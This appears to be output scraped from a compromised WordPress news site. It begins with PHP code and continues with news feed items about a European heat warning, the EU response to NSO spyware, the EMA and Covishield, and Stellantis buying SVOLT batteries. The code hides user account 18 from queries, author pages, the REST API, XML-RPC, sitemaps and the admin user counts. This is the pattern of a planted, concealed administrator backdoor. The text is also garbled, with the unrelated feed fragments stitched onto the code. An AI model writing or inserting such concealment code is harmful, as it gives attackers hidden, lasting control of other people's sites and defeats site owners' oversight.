add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Europe warned to prepare for a temperature of 50 degrees celsius. appeared first on The Edge Media.
]]>Searing temperatures also raise concerns that even higher temperatures are potential in future, possibly even exceeding 50.0 degrees Celsius, the UK’s MET office has warned.Climate change is making heat-related extremes of weather more intense and when we think about those record-breaking temperature the chance of breaking temperature records – or coming close to breaking records – is greatly increased,” said Professor Peter Stott, who is the UK Met Office‘s lead on climate attribution.
The post Europe warned to prepare for a temperature of 50 degrees celsius. appeared first on The Edge Media.
]]>The post “Free press is one of the core values of the European Union” : Ursula von der Leyen appeared first on The Edge Media.
]]>This has to be verified, but if it is the case, it is completely unacceptable,” she told reporters in Prague.
Media outlets including The Washington Post, The Guardian and Le Monde drew links Sunday between the Israel-based NSO Group, accused of supplying spyware to governments, and a list of tens of thousands of smartphone numbers, including those of activists, journalists, business executives and politicians around the world.
Von der Leyen, who was in Prague to present a Czech post-Covid recovery plan worth 7 billion euros ($8.2 billion) approved by the EU, slammed the alleged attack on journalists’ phones.
“Free press is one of the core values of the European Union,” she said after meeting Czech Prime Minister Andrej Babis.
The post “Free press is one of the core values of the European Union” : Ursula von der Leyen appeared first on The Edge Media.
]]>The post No application received for covishield authorisation, says EMA. appeared first on The Edge Media.
]]>“For the COVID-19 vaccine Covishield to be evaluated for use in the EU, the developer needs to submit a formal marketing authorisation application to EMA, which to date has not been received,” the EMA said at a press meeting.
Covishield vaccine, manufactured under technology transfer from Oxford/AstraZeneca, is not among the authorised vaccines under the EMA.
Covishield has also been excluded despite holding an EUL , this means people with Covishield will be subject to quarantine protocol in several countries.
The post No application received for covishield authorisation, says EMA. appeared first on The Edge Media.
]]>The post Stellantis to source its lithium-ion batteries from SVOLT appeared first on The Edge Media.
]]>SVOLT Energy Technology will be supplying its lithium-ion batteries sourced from the SVOLT plants in Germany and China. SVOLT is already investing $2.4 billion to build a gigafactory in Germany which has an output of 24 GWh. The production of which will start by 2023 soon after which it will start supplying Stellantis.
“From 2025 onwards, Stellantis will also source its lithium-ion batteries from SVOLT. SVOLT will provide Stellantis with a broad product portfolio for this purpose, from battery cells and high-voltage storage systems to battery management systems. For the order, SVOLT will use its production capacities in China and future production capacities in Europe,” it said in a statement.

It is making a gigafactory in Europe to serve its European customers like Stellantis.
PSA already had an arrangement with SVOLT so after the PSA merger with FCA to form Stellantis, this news isn’t surprising. Stellantis counts SVOLT, ACC, CATL, BYD, Samsung SDI and LG Energy Solutions as its battery suppliers.
“We are very pleased to have won such a renowned customer like Stellantis for our high-quality lithium-ion batteries and battery systems and to be able to supply them with batteries in the future,” said Maxim Hantsch-Kramskoj, Vice President Sales & Marketing SVOLT Europe.
SVOLT hasn’t revealed much either about the volume of batteries or the chemistry. That being said, SVOLT has already announced its intention to make cobalt-free Nix lithium-ion battery cells with an energy density of 240-245 wh/kg. It started mass production of these batteries in April in its Chinese plant in Jintan.
(Except the headline, the news is not edited by The Edge Media staff)
The post Stellantis to source its lithium-ion batteries from SVOLT appeared first on The Edge Media.
]]>